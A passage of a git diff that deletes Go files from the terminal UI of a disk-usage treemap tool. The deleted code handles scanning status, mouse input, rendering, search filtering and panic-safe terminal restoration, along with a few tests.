!m.zoomed && m.sel != prev && m.sel != noSel { - m.userSel = true - } -} - -func (m *Model) scanFinished() tea.Cmd { - m.scanning = false - m.invalidate() - m.resolvePendingZoom() - t := m.tree - t.RLock() - st := t.Stats - r := t.Node(t.Root()) - total := r.Total(m.sizeMode) - files := st.Files + st.Symlinks + st.Others - errs := st.TotalErrors() - el := st.Elapsed() - t.RUnlock() - slog.Info("scan finished", "files", files, "dirs", st.Dirs, "bytes", total, "errors", errs, - "cancelled", st.Cancelled, "elapsed", el) - var cmds []tea.Cmd - rate := float64(files+st.Dirs) / max(el.Seconds(), 0.001) - msg := fmt.Sprintf("✓ Scan complete %s · %s files · %s dirs · %s · %s/s", - textutil.Duration(el), textutil.Count(files), textutil.Count(st.Dirs), textutil.Size(total), textutil.Count(int64(rate))) - if st.Cancelled { - msg = "✗ Scan cancelled — totals are incomplete" - } - if errs > 0 { - msg += fmt.Sprintf(" · %s errors (e)", textutil.Count(errs)) - } - if st.Cancelled || errs > 0 { - cmds = append(cmds, m.warn(msg)) - } else { - cmds = append(cmds, m.notify(msg, Style{FG: m.theme.OK, BG: m.theme.StatusBg, Attr: Bold})) - } - if m.opts.Save != "" && !st.Cancelled { - cmds = append(cmds, m.saveSnapshot(m.opts.Save)) - } - if m.search.query != nil { - cmds = append(cmds, m.applyFilter()) - } - return tea.Batch(cmds...) -} - -// ctrlCPressed: first press cancels a running scan, second quits. -func (m *Model) ctrlCPressed() tea.Cmd { - if m.scanning && !m.ctrlC { - m.ctrlC = true - m.cancel() - return m.warn("Cancelling scan… press Ctrl+C again to quit") - } - m.quit = true - return nil -} - -func (m *Model) rescan() tea.Cmd { - if m.snapshot { - return m.warn("Snapshot loaded — nothing to rescan") - } - // Called from handleKey, which holds the old tree's read lock. - m.pendingZoom = m.tree.Path(m.zoom) - m.cancel() - ctx, cancel := context.WithCancel(context.Background()) - s, t, err := m.opts.Start(ctx) - if err != nil { - cancel() - return m.warn("Rescan failed: " + textutil.Sanitize(err.Error())) - } - m.scanner, m.tree, m.cancel, m.scanning, m.ctrlC = s, t, cancel, s != nil, false - m.zoom, m.sel = t.Root(), noSel - m.kidsCache = map[inventory.NodeID]*kids{} - if m.dups != nil { - m.dups.cancel() - m.dups = nil - // Drop the duplicates view: its rows referred to the old tree. - for i, v := range m.views { - if _, ok := v.(*dupView); ok { - m.views = append(m.views[:i], m.views[i+1:]...) - m.view = 0 - break - } - } - } - m.search.result = nil - m.search.gen++ // results computed against the old tree are discarded - m.invalidate() - return tea.Batch(waitScan(s), m.startTicking(), m.info("Rescanning…"), m.applyFilter()) -} - -// resolvePendingZoom re-zooms into the remembered directory once the new -// scan has discovered it. -func (m *Model) resolvePendingZoom() { - if m.pendingZoom == "" { - return - } - m.tree.RLock() - defer m.tree.RUnlock() - root := m.tree.Path(m.tree.Root()) - rel, err := filepath.Rel(root, m.pendingZoom) - if err != nil || strings.HasPrefix(rel, "..") { - m.pendingZoom = "" - return - } - id := m.tree.Root() - if rel != "." { - for _, part := range strings.Split(rel, string(filepath.Separator)) { - next := inventory.NoNode - m.tree.Children(id, func(c inventory.NodeID, n *inventory.Node) { - if n.Name == part { - next = c - } - }) - if next == inventory.NoNode { - return // not discovered yet - } - id = next - } - } - m.zoom = id - m.pendingZoom = "" - m.dirty = true -} - -// View renders the frame. Expensive work happens only when something -// changed; otherwise the cached frame is returned. -func (m *Model) View() tea.View { - if m.dirty || m.frame == "" { - m.frame = m.render() - m.dirty = false - } - v := tea.NewView(m.frame) - v.AltScreen = true - if m.opts.Mouse { - v.MouseMode = tea.MouseModeAllMotion - } - v.WindowTitle = brand.Name - return v -} diff --git a/internal/tui/mouse.go b/internal/tui/mouse.go deleted file mode 100644 index 7fe2f7b..0000000 --- a/internal/tui/mouse.go +++ /dev/null @@ -1,110 +0,0 @@ -package tui - -import ( - "time" - - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/inventory" -) - -const doubleClick = 400 * time.Millisecond - -func (m *Model) mouseClick(ev tea.Mouse) tea.Cmd { - t := m.tree - t.RLock() - defer t.RUnlock() - m.dirty = true - if len(m.modals) > 0 { - // Clicking outside the modal closes it. - if len(m.hits) > 0 && !m.hits[0].r.Contains(ev.X, ev.Y) { - m.closeModal() - } - return nil - } - if ev.Button == tea.MouseRight { - for _, h := range m.hits { - if h.r.Contains(ev.X, ev.Y) { - h.fn(m, false) - return m.inspectSelection() - } - } - return nil - } - if ev.Button != tea.MouseLeft { - return nil - } - for i := len(m.hits) - 1; i >= 0; i-- { - h := m.hits[i] - if h.r.Contains(ev.X, ev.Y) { - key := int64(ev.Y)<<32 | int64(i) - double := time.Since(m.lastClick) < doubleClick && m.lastClickI == key - m.lastClick, m.lastClickI = time.Now(), key - if double { - m.lastClickI = noSel - } - return h.fn(m, double) - } - } - return nil -} - -// clickBlock selects a treemap block; a double click zooms (or inspects). -func (m *Model) clickBlock(id int64, double bool) tea.Cmd { - m.sel = id - if !double { - return nil - } - if !isGroup(id) && !m.tree.Node(inventory.NodeID(id)).IsDir() { - return m.inspectSelection() - } - return m.zoomIntoSelection() -} - -func (m *Model) mouseWheel(ev tea.Mouse) tea.Cmd { - t := m.tree - t.RLock() - defer t.RUnlock() - m.dirty = true - up := ev.Button == tea.MouseWheelUp - if ev.Button != tea.MouseWheelUp && ev.Button != tea.MouseWheelDown { - return nil - } - if len(m.modals) > 0 { - f := m.modals[len(m.modals)-1].(*modalFrame) - if up { - f.scroll -= 3 - } else { - f.scroll += 3 - } - f.clampScroll() - return nil - } - if up { - // Zoom towards the block under the pointer. - if l := m.tm; l != nil && m.view == 0 { - for _, b := range l.blocks { - if b.Contains(ev.X, ev.Y) { - m.sel = b.ID - } - } - } - } - return m.views[m.view].wheel(m, up) -} - -func (m *Model) mouseMotion(ev tea.Mouse) { - h := noSel - if l := m.tm; l != nil && m.view == 0 && len(m.modals) == 0 { - for _, b := range l.blocks { - if b.Contains(ev.X, ev.Y) { - h = b.ID - break - } - } - } - if h != m.hover { - m.hover = h - m.dirty = true - } -} diff --git a/internal/tui/nest_test.go b/internal/tui/nest_test.go deleted file mode 100644 index f8554ef..0000000 --- a/internal/tui/nest_test.go +++ /dev/null @@ -1,89 +0,0 @@ -package tui - -import ( - "context" - "fmt" - "strings" - "testing" - - "github.com/charmbracelet/colorprofile" - "github.com/charmbracelet/x/ansi" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/scan" -) - -func rootTree() *inventory.Tree { - t := inventory.New("/", inventory.KindDir) - add := func(p inventory.NodeID, name string, size int64) { - id := t.Add(p, name, inventory.KindFile) - n := t.Node(id) - n.Size, n.Alloc = size, size - n.Cat = inventory.CategoryFor(inventory.Ext(name), false, false) - } - dir := func(p inventory.NodeID, name string) inventory.NodeID { - id := t.Add(p, name, inventory.KindDir) - t.Node(id).Flags |= inventory.FlagScanned - return id - } - mnt := dir(0, "mnt") - raid := dir(mnt, "raid") - media := dir(raid, "media") - for _, show := range []string{"X-Files", "Simpsons", "Frasier"} { - s := dir(media, show) - for i := 1; i <= 5; i++ { - se := dir(s, fmt.Sprintf("S%02d", i)) - for e := 1; e <= 20; e++ { - add(se, fmt.Sprintf("E%02d.mkv", e), int64(e)<<28) - } - } - } - usr := dir(0, "usr") - lib := dir(usr, "lib") - for i := range 50 { - add(lib, fmt.Sprintf("lib%d.so", i), int64(i+1)<<22) - } - v := dir(0, "var") - add(dir(v, "log"), "syslog", 2<<30) - t.Recompute() - t.Stats.Complete = true - return t -} - -// A single-child chain (mnt → raid → media) must not use up the nesting -// budget: the map at / should reach the seasons and their episodes. -func TestNestingReachesDeepMedia(t *testing.T) { - tr := rootTree() - m := newModel(Options{Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, tr, nil }}, nil, tr, func() {}) - m.profile = colorprofile.TrueColor - send(m, size(160, 45)) - if out := ansi.Strip(m.View().Content); !strings.Contains(out, "mnt/raid/media/") || !strings.Contains(out, "S01/") { - t.Fatalf("chain or seasons missing:\n%s", out) - } - files := 0 - for _, nb := range m.tm.nested { - if nb.id >= 0 && !tr.Node(inventory.NodeID(nb.id)).IsDir() { - files++ - } - } - if files < 50 { - t.Fatalf("only %d episode blocks drawn", files) - } -} - -// Headless, o shows the selected folder in the map instead of launching a -// file manager. -func TestRevealHeadlessZoomsMap(t *testing.T) { - t.Setenv("DISPLAY", "") - t.Setenv("WAYLAND_DISPLAY", "") - tr := rootTree() - m := newModel(Options{Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, tr, nil }}, nil, tr, func() {}) - send(m, size(160, 45)) - mnt := m.kidsOf(m.zoom).ids[0] - m.snapshot = false // reveal is refused for snapshots - m.sel, m.userSel = int64(mnt), true - send(m, key("o")) - if m.zoom != mnt { - t.Fatalf("zoom = %q, want mnt", tr.Path(m.zoom)) - } -} diff --git a/internal/tui/render.go b/internal/tui/render.go deleted file mode 100644 index bd2174f..0000000 --- a/internal/tui/render.go +++ /dev/null @@ -1,422 +0,0 @@ -package tui - -import ( - "fmt" - "strings" - "time" - - tea "charm.land/bubbletea/v2" - "github.com/charmbracelet/colorprofile" - - "github.com/andydixon/mapsize/internal/brand" - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// Minimum usable terminal size. -const minW, minH = 40, 10 - -type sizeClass int - -const ( - tooSmall sizeClass = iota - small - medium - large -) - -// geometry is the panel layout for one terminal size. It is recomputed from -// scratch for every frame, so resizing can never leave stale geometry. -type geometry struct { - class sizeClass - tabs, crumbs treemap.Rect // tabs is empty in the small layout - main, side, info, stat treemap.Rect -} - -func computeGeometry(w, h int) geometry { - g := geometry{} - switch { - case w < minW || h < minH: - g.class = tooSmall - return g - case w >= 150 && h >= 36: - g.class = large - case w >= 90 && h >= 22: - g.class = medium - default: - g.class = small - } - y := 0 - if g.class >= medium { - g.tabs = treemap.Rect{X: 0, Y: 0, W: w, H: 1} - y = 1 - } - g.crumbs = treemap.Rect{X: 0, Y: y, W: w, H: 1} - y++ - bottom := h - 1 - g.stat = treemap.Rect{X: 0, Y: h - 1, W: w, H: 1} - if g.class >= medium { - g.info = treemap.Rect{X: 0, Y: h - 2, W: w, H: 1} - bottom = h - 2 - } - g.main = treemap.Rect{X: 0, Y: y, W: w, H: bottom - y} - if g.class == large { - sw := min(40, w/5) - g.side = treemap.Rect{X: 0, Y: y, W: sw, H: g.main.H} - g.main.X, g.main.W = sw, w-sw - } - return g -} - -func (m *Model) render() string { - t := m.theme - cv := NewCanvas(m.w, m.h, t.base()) - m.hits = m.hits[:0] - g := computeGeometry(m.w, m.h) - if g.class == tooSmall { - m.renderTooSmall(cv) - return cv.Render(m.depth()) - } - m.tree.RLock() - defer m.tree.RUnlock() - - m.ensureSelection() - if g.tabs.W > 0 { - m.paintTabs(cv, g.tabs) - } - m.paintCrumbs(cv, g.crumbs) - if !g.side.Empty() { - m.paintSide(cv, g.side) - } - m.views[m.view].paint(m, cv, g.main) - if !g.info.Empty() { - m.paintInfoLine(cv, g.info) - } - m.paintStatus(cv, g.stat, g.class) - if g.class == small && m.search.editing { - m.paintSearch(cv, g.stat) - } - if len(m.modals) > 0 { - m.paintModal(cv) - } - return cv.Render(m.depth()) -} - -func (m *Model) depth() colorDepth { - switch m.profile { - case colorprofile.ANSI256: - return depth256 - case colorprofile.ANSI: - return depth16 - } - return depthTrue -} - -func (m *Model) renderTooSmall(cv *Canvas) { - st := m.theme.muted() - lines := []string{"Terminal too small", fmt.Sprintf("%d×%d — need %d×%d", m.w, m.h, minW, minH), "q quits"} - y0 := max(0, (m.h-len(lines))/2) - for i, l := range lines { - cv.TextCentered(0, y0+i, m.w, l, st) - } -} - -// paintTabs draws the view tabs and mode chips. -func (m *Model) paintTabs(cv *Canvas, r treemap.Rect) { - t := m.theme - cv.Fill(r, " ", t.header()) - badge := " ◧ " + brand.Name + " " - if t.ASCII { - badge = " " + brand.Name + " " - } - x := cv.Text(r.X, r.Y, badge, r.W, Style{FG: t.textOn(t.Accent), BG: t.Accent, Attr: Bold | m.monoRev()}) - x++ - for i, v := range m.views { - label := " " + v.name() + " " - st := Style{FG: t.Muted, BG: t.HeaderBg} - if i == m.view { - st = Style{FG: t.Fg, BG: t.Bg, Attr: Bold | Underline} - } - if x+textutil.Width(label) >= r.W-30 { - break - } - w := cv.Text(x, r.Y, label, r.W-x, st) - idx := i - m.hits = append(m.hits, hit{treemap.Rect{X: x, Y: r.Y, W: w, H: 1}, func(m *Model, _ bool) tea.Cmd { m.setView(idx); return nil }}) - x += w - } - // Right-aligned chips. - var chips []struct { - s string - bg Color - } - add := func(s string, bg Color) { - chips = append(chips, struct { - s string - bg Color - }{s, bg}) - } - if m.opts.ReadOnly { - add("READ ONLY", t.Err) - } - if m.snapshot { - add("SNAPSHOT", t.Accent) - } - if m.opts.Diff != nil { - add("COMPARE", t.DiffNew) - } - if m.search.query != nil { - add("FILTER", t.Warn) - } - if len(m.tree.Stats.Excludes) > 0 { - add(fmt.Sprintf("EXCL %d", len(m.tree.Stats.Excludes)), t.Faint) - } - add(strings.ToUpper(m.sizeMode.String()), t.Faint) - rx := r.X + r.W - for i := len(chips) - 1; i >= 0; i-- { - s := " " + chips[i].s + " " - w := textutil.Width(s) - if rx-w-1 < x { - break - } - rx -= w - cv.Text(rx, r.Y, s, w, Style{FG: t.textOn(chips[i].bg), BG: chips[i].bg, Attr: Bold | m.monoRev()}) - rx-- - } -} - -func (m *Model) monoRev() Attr { - if m.theme.Mono { - return Reverse - } - return 0 -} - -// paintCrumbs draws "/ › home › andy" breadcrumbs, truncated from the left, -// with the zoom root's size on the right. -func (m *Model) paintCrumbs(cv *Canvas, r treemap.Rect) { - t := m.theme - cv.Fill(r, " ", t.header()) - tr := m.tree - z := tr.Node(m.zoom) - size := m.sizeOf(m.zoom) - right := " " + textutil.Size(size) - if root := m.sizeOf(tr.Root()); m.zoom != tr.Root() && root > 0 { - right += " " + textutil.Percent(size, root) + " of scan" - } - if m.search.result != nil { - right += fmt.Sprintf(" (%s matches)", textutil.Count(m.search.result.Count)) - } - if z.IsDir() { - right += fmt.Sprintf(" %s files", textutil.Count(int64(z.Files))) - } - right += " " - rw := textutil.Width(right) - if rw > r.W/2 { - right = " " + textutil.SizeCompact(size) + " " - rw = textutil.Width(right) - } - cv.TextRight(r.X, r.Y, r.W, right, Style{FG: t.HeaderFg, BG: t.HeaderBg, Attr: Bold}) - - sep := " › " - if t.ASCII { - sep = " > " - } - chain := tr.Ancestors(m.zoom) - type seg struct { - id inventory.NodeID - s string - } - segs := make([]seg, len(chain)) - for i, id := range chain { - segs[i] = seg{id, textutil.Sanitize(tr.Node(id).Name)} - } - avail := r.W - rw - 2 - // Drop leading segments until the rest fits; keep at least the last. - total := func(from int) int { - w := 0 - for i := from; i < len(segs); i++ { - w += textutil.Width(segs[i].s) - if i > from { - w += textutil.Width(sep) - } - } - if from > 0 { - w += textutil.Width("…" + sep) - } - return w - } - from := 0 - for from < len(segs)-1 && total(from) > avail { - from++ - } - x := r.X + 1 - if from > 0 { - x += cv.Text(x, r.Y, "…"+sep, avail, Style{FG: t.Muted, BG: t.HeaderBg}) - } - for i := from; i < len(segs); i++ { - if i > from { - x += cv.Text(x, r.Y, sep, r.X+1+avail-x, Style{FG: t.Faint, BG: t.HeaderBg}) - } - st := Style{FG: t.Muted, BG: t.HeaderBg} - if i == len(segs)-1 { - st = Style{FG: t.Fg, BG: t.HeaderBg, Attr: Bold} - } - s := segs[i].s - if i == len(segs)-1 { - s = textutil.TruncateLeft(s, max(1, r.X+1+avail-x)) - } - w := cv.Text(x, r.Y, s, r.X+1+avail-x, st) - id := segs[i].id - m.hits = append(m.hits, hit{treemap.Rect{X: x, Y: r.Y, W: w, H: 1}, func(m *Model, _ bool) tea.Cmd { m.zoomTo(id); return nil }}) - x += w - } -} - -// paintInfoLine describes the selection (or shows the search editor). -func (m *Model) paintInfoLine(cv *Canvas, r treemap.Rect) { - t := m.theme - cv.Fill(r, " ", t.panel()) - if m.search.editing { - m.paintSearch(cv, r) - return - } - if m.search.query != nil { - m.paintFilterSummary(cv, r) - return - } - cv.Text(r.X+1, r.Y, m.describeSelection(), r.W-2, t.panel()) -} - -func (m *Model) describeSelection() string { - id := m.selectedNode() - tr := m.tree - if isGroup(m.sel) { - if g, ok := m.groupInfo(m.sel); ok { - return fmt.Sprintf("▸ %s smaller items · %s · %s of %s · Enter lists them", - textutil.Count(int64(len(g.ids))), textutil.Size(g.size), textutil.Percent(g.size, m.sizeOf(m.zoom)), - textutil.Sanitize(tr.Node(m.zoom).Name)) - } - } - if id == inventory.NoNode { - return "Nothing selected" - } - n := tr.Node(id) - parts := []string{"▸ " + textutil.Sanitize(n.Name)} - parts = append(parts, textutil.Size(m.sizeOf(id))) - if p := n.Parent; p != inventory.NoNode { - parts = append(parts, textutil.Percent(m.sizeOf(id), m.sizeOf(p))+" of parent") - } - if n.IsDir() { - parts = append(parts, textutil.Count(int64(n.Files))+" files", textutil.Count(int64(n.Dirs))+" dirs") - if n.Flags&inventory.FlagScanned == 0 && m.scanning { - parts = append(parts, "scanning…") - } - } else { - parts = append(parts, kindLabel(tr, n)) - } - if n.MTime > 0 { - parts = append(parts, "modified "+time.Unix(0, n.MTime).Format("2006-01-02")) - } - if n.Errors > 0 { - parts = append(parts, fmt.Sprintf("%d errors", n.Errors)) - } - if m.opts.Diff != nil { - parts = append(parts, textutil.SignedSize(m.opts.Diff.Delta(id, m.sizeMode))+" vs old snapshot") - } - return strings.Join(parts, " · ") -} - -func kindLabel(tr *inventory.Tree, n *inventory.Node) string { - switch n.Kind { - case inventory.KindFile: - return n.Cat.String() - case inventory.KindSymlink: - return "symlink" - } - return n.Kind.String() -} - -var spinner = []string{"⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"} - -// paintStatus draws the live status bar. -func (m *Model) paintStatus(cv *Canvas, r treemap.Rect, class sizeClass) { - t := m.theme - cv.Fill(r, " ", t.status()) - help := " ? help " - if class == small { - help = " ? " - } - hw := cv.Text(r.X+r.W-textutil.Width(help), r.Y, help, r.W, Style{FG: t.Muted, BG: t.StatusBg}) - avail := r.W - hw - 1 - if m.toast != "" { - cv.Text(r.X+1, r.Y, m.toast, avail-1, m.toastStyle) - return - } - st := &m.tree.Stats - root := m.tree.Node(m.tree.Root()) - files := st.Files + st.Symlinks + st.Others - var parts []struct { - s string - fg Color - } - add := func(s string, fg Color) { - parts = append(parts, struct { - s string - fg Color - }{s, fg}) - } - switch { - case m.scanning: - frame := spinner[int(time.Now().UnixMilli()/100)%len(spinner)] - if t.ASCII { - frame = "*" - } - add(frame+" scanning", t.Accent) - case st.Cancelled: - add("✗ cancelled", t.Warn) - case m.snapshot: - add("◉ snapshot", t.Accent) - default: - add("✓ complete", t.OK) - } - add(textutil.Count(files)+" files", t.StatusFg) - add(textutil.Size(root.Total(m.sizeMode)), t.StatusFg) - if m.scanning { - el := st.Elapsed() - p := m.scanner.Progress() - add(textutil.Count(int64(float64(p.Entries)/max(el.Seconds(), 0.001)))+"/s", t.StatusFg) - if class != small { - add(fmt.Sprintf("%d workers", p.Workers), t.Muted) - add(fmt.Sprintf("queue %s", textutil.Count(p.Pending)), t.Muted) - } - add(textutil.Duration(el), t.Muted) - } else if !m.snapshot && class != small { - add(textutil.Duration(st.Elapsed()), t.Muted) - } - if e := st.TotalErrors(); e > 0 { - add(fmt.Sprintf("%s errors", textutil.Count(e)), t.Err) - } - if st.Excluded > 0 { - add(fmt.Sprintf("%s excluded", textutil.Count(st.Excluded)), t.Warn) - } - if st.Incomplete() && !m.scanning && class != small { - add("totals incomplete", t.Warn) - } - x := r.X + 1 - for i, p := range parts { - s := p.s - if i > 0 { - s = " " + s - } - if x+textutil.Width(s) > r.X+avail { - break - } - st := Style{FG: p.fg, BG: t.StatusBg} - if i == 0 { - st.Attr = Bold - } - x += cv.Text(x, r.Y, s, avail-x, st) - } -} diff --git a/internal/tui/run.go b/internal/tui/run.go deleted file mode 100644 index c3dae65..0000000 --- a/internal/tui/run.go +++ /dev/null @@ -1,72 +0,0 @@ -package tui - -import ( - "context" - "fmt" - "os" - "runtime/debug" - "time" - - tea "charm.land/bubbletea/v2" - "github.com/charmbracelet/colorprofile" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/scan" - "github.com/andydixon/mapsize/internal/snapshot" - "github.com/andydixon/mapsize/internal/textutil" -) - -var profiles = map[string]colorprofile.Profile{ - "truecolor": colorprofile.TrueColor, "24bit": colorprofile.TrueColor, - "256": colorprofile.ANSI256, "16": colorprofile.ANSI, "none": colorprofile.ASCII, -} - -func saveFile(path string, t *inventory.Tree) error { return snapshot.SaveFile(path, t) } - -// Run starts the interactive UI. The terminal is restored on every exit -// path: normal quit, Ctrl+C, errors and panics (Bubble Tea recovers panics -// in Update/View; scanner goroutine panics are routed here via -// scan.OnPanic and reported after the terminal is restored). -func Run(opts Options) error { - ctx, cancel := context.WithCancel(context.Background()) - defer cancel() - s, t, err := opts.Start(ctx) - if err != nil { - return err - } - m := newModel(opts, s, t, cancel) - var popts []tea.ProgramOption - if p, ok := profiles[opts.Color]; ok { - m.profile, m.forced = p, true - popts = append(popts, tea.WithColorProfile(p)) - } else if opts.Color != "" && opts.Color != "auto" { - return fmt.Errorf("invalid --color %q (auto, truecolor, 256, 16, none)", opts.Color) - } - p := tea.NewProgram(m, popts...) - prev := scan.OnPanic - scan.OnPanic = func(v any, stack []byte) { - p.Send(fatalMsg{v, stack}) - select {} // park the broken goroutine; the program is quitting - } - defer func() { scan.OnPanic = prev }() - if debugPanic == "scanner" { - go func() { - time.Sleep(500 * time.Millisecond) - defer func() { - if v := recover(); v != nil { - scan.OnPanic(v, debug.Stack()) - } - }() - panic("MAPSIZE_DEBUG_PANIC=scanner: deliberate panic to test terminal restoration") - }() - } - - _, err = p.Run() - cancel() - if m.fatal != nil { - fmt.Fprintf(os.Stderr, "mapsize: internal error in scanner: %s\n\n%s\n", - textutil.Sanitize(fmt.Sprint(m.fatal.v)), m.fatal.stack) - return fmt.Errorf("scanner crashed") - } - return err -} diff --git a/internal/tui/search.go b/internal/tui/search.go deleted file mode 100644 index de31a62..0000000 --- a/internal/tui/search.go +++ /dev/null @@ -1,260 +0,0 @@ -package tui - -import ( - "context" - "fmt" - "time" - - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/filter" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// lineEditor is a minimal single-line text editor. -type lineEditor struct { - buf []rune - cur int -} - -func (e *lineEditor) String() string { return string(e.buf) } - -func (e *lineEditor) set(s string) { e.buf, e.cur = []rune(s), len([]rune(s)) } - -// key applies an editing key; it reports whether the text changed. -func (e *lineEditor) key(msg tea.KeyPressMsg) (changed, handled bool) { - switch msg.Keystroke() { - case "left", "ctrl+b": - e.cur = max(0, e.cur-1) - case "right", "ctrl+f": - e.cur = min(len(e.buf), e.cur+1) - case "home", "ctrl+a": - e.cur = 0 - case "end", "ctrl+e": - e.cur = len(e.buf) - case "backspace", "ctrl+h": - if e.cur > 0 { - e.buf = append(e.buf[:e.cur-1], e.buf[e.cur:]...) - e.cur-- - return true, true - } - case "delete", "ctrl+d": - if e.cur < len(e.buf) { - e.buf = append(e.buf[:e.cur], e.buf[e.cur+1:]...) - return true, true - } - case "ctrl+u": - e.buf, e.cur = e.buf[e.cur:], 0 - return true, true - case "ctrl+k": - e.buf = e.buf[:e.cur] - return true, true - case "ctrl+w", "alt+backspace": - i := e.cur - for i > 0 && e.buf[i-1] == ' ' { - i-- - } - for i > 0 && e.buf[i-1] != ' ' { - i-- - } - e.buf = append(e.buf[:i], e.buf[e.cur:]...) - e.cur = i - return true, true - default: - txt := msg.Text - if txt == "" || msg.Mod&(tea.ModCtrl|tea.ModAlt) != 0 { - return false, false - } - var rs []rune - for _, r := range txt { - if r >= 0x20 && r != 0x7f { - rs = append(rs, r) - } - } - if len(rs) == 0 || len(e.buf)+len(rs) > 1024 { - return false, true - } - e.buf = append(e.buf[:e.cur], append(rs, e.buf[e.cur:]...)...) - e.cur += len(rs) - return true, true - } - return false, true -} - -type searchState struct { - editing bool - ed lineEditor - query *filter.Query - result *filter.Result - err string - gen int - busy bool - appliedAt time.Time - cancel context.CancelFunc -} - -func (s *searchState) begin() { - s.editing = true - if s.query != nil { - s.ed.set(s.query.String()) - } -} - -func (m *Model) searchKey(msg tea.KeyPressMsg) tea.Cmd { - s := &m.search - switch msg.Keystroke() { - case "esc": - s.editing = false - m.clearFilter() - return nil - case "enter": - s.editing = false - if s.err != "" { - return m.warn("Invalid query: " + s.err) - } - return nil - } - changed, _ := s.ed.key(msg) - if changed { - return m.queryChanged() - } - return nil -} - -// queryChanged parses the editor contents and schedules a debounced apply. -func (m *Model) queryChanged() tea.Cmd { - s := &m.search - s.gen++ - text := s.ed.String() - if text == "" { - s.err = "" - m.dropFilter() - return nil - } - q, err := filter.Parse(text, time.Now()) - if err != nil { - s.err = err.Error() - return nil - } - s.err = "" - s.query = q - gen := s.gen - return tea.Tick(120*time.Millisecond, func(time.Time) tea.Msg { return filterDebounceMsg{gen} }) -} - -// setFilter replaces the filter with q and applies it immediately. -func (m *Model) setFilter(q string) tea.Cmd { - m.search.ed.set(q) - m.search.editing = false - m.queryChanged() - if m.search.err != "" { - return m.warn("Invalid query: " + m.search.err) - } - return m.applyFilter() -} - -// applyFilter evaluates the current query in the background. The tree is -// read-locked by the worker; stale results are discarded by generation. -func (m *Model) applyFilter() tea.Cmd { - s := &m.search - if s.query == nil { - return nil - } - if s.cancel != nil { - s.cancel() - } - ctx, cancel := context.WithCancel(context.Background()) - s.cancel = cancel - s.busy = true - s.appliedAt = time.Now() - t, q, mode, gen := m.tree, s.query, m.sizeMode, s.gen - return func() tea.Msg { - t.RLock() - res, err := filter.Apply(ctx, t, q, mode) - t.RUnlock() - return filterMsg{gen: gen, res: res, err: err} - } -} - -func (m *Model) filterResult(msg filterMsg) tea.Cmd { - s := &m.search - if msg.gen != s.gen || s.query == nil { - return nil - } - s.busy = false - if msg.err != nil { - return nil - } - s.result = msg.res - m.invalidate() - return nil -} - -// dropFilter removes the active filter but keeps the editor open. -func (m *Model) dropFilter() { - s := &m.search - if s.cancel != nil { - s.cancel() - } - s.query, s.result, s.busy = nil, nil, false - m.invalidate() -} - -func (m *Model) clearFilter() { - m.dropFilter() - m.search.ed.set("") - m.search.err = "" - m.search.gen++ -} - -func (m *Model) paintSearch(cv *Canvas, r treemap.Rect) { - t := m.theme - s := &m.search - st := Style{FG: t.Fg, BG: t.PanelBg} - cv.Fill(r, " ", st) - x := r.X + 1 - x += cv.Text(x, r.Y, "/ ", 2, Style{FG: t.Accent, BG: t.PanelBg, Attr: Bold}) - status, statusSt := "", Style{FG: t.Muted, BG: t.PanelBg} - switch { - case s.err != "": - status, statusSt.FG = "✗ "+s.err, t.Err - case s.busy: - status = "filtering…" - case s.result != nil: - status = fmt.Sprintf("%s matches · %s", textutil.Count(s.result.Count), textutil.Size(s.result.Total)) - case len(s.ed.buf) == 0: - status = "name, *.iso, size > 1GB, ext IN (iso,vmdk), age > 365d … Enter keep · Esc clear" - } - sw := min(textutil.Width(status), r.W/2) - avail := r.W - (x - r.X) - sw - 3 - // Scroll the text so the cursor stays visible. - text := s.ed.buf - start := 0 - if s.ed.cur > avail-1 { - start = s.ed.cur - avail + 1 - } - vis := string(text[start:min(len(text), start+avail)]) - cv.Text(x, r.Y, textutil.Sanitize(vis), avail, st) - cx := x + textutil.Width(textutil.Sanitize(string(text[start:s.ed.cur]))) - under := " " - if s.ed.cur < len(text) { - under = textutil.Sanitize(string(text[s.ed.cur])) - } - cv.Text(cx, r.Y, under, 2, Style{FG: t.PanelBg, BG: t.Fg, Attr: m.monoRev()}) - cv.TextRight(r.X, r.Y, r.W-1, textutil.Truncate(status, sw), statusSt) -} - -func (m *Model) paintFilterSummary(cv *Canvas, r treemap.Rect) { - t := m.theme - s := &m.search - x := r.X + 1 - x += cv.Text(x, r.Y, " FILTER ", 8, Style{FG: t.textOn(t.Warn), BG: t.Warn, Attr: Bold | m.monoRev()}) - x += cv.Text(x+1, r.Y, textutil.Sanitize(s.query.String()), r.W/2, Style{FG: t.Fg, BG: t.PanelBg, Attr: Bold}) + 1 - info := "filtering…" - if s.result != nil && !s.busy { - info = fmt.Sprintf("%s matches · %s of %s · / edit · Esc clear", textutil.Count(s.result.Count), - textutil.Size(s.result.Total), textutil.Size(m.tree.Node(0).Total(m.sizeMode))) - } - cv.Text(x+2, r.Y, info, r.X+r.W-x-3, Style{FG: t.Muted, BG: t.PanelBg}) -} diff --git a/internal/tui/side.go b/internal/tui/side.go deleted file mode 100644 index d27bdce..0000000 --- a/internal/tui/side.go +++ /dev/null @@ -1,118 +0,0 @@ -package tui - -import ( - "fmt" - "sort" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// paintSide draws the large-layout side panel: directory summary, category -// breakdown and the selected item. -func (m *Model) paintSide(cv *Canvas, r treemap.Rect) { - t := m.theme - ps := t.panel() - cv.Fill(r, " ", ps) - cv.Fill(treemap.Rect{X: r.X + r.W - 1, Y: r.Y, W: 1, H: r.H}, "│", Style{FG: t.Faint, BG: t.PanelBg}) - w := r.W - 3 - x := r.X + 1 - y := r.Y + 1 - end := r.Y + r.H - head := func(s string) { - if y < end { - cv.Text(x, y, s, w, Style{FG: t.Accent, BG: t.PanelBg, Attr: Bold}) - y++ - } - } - 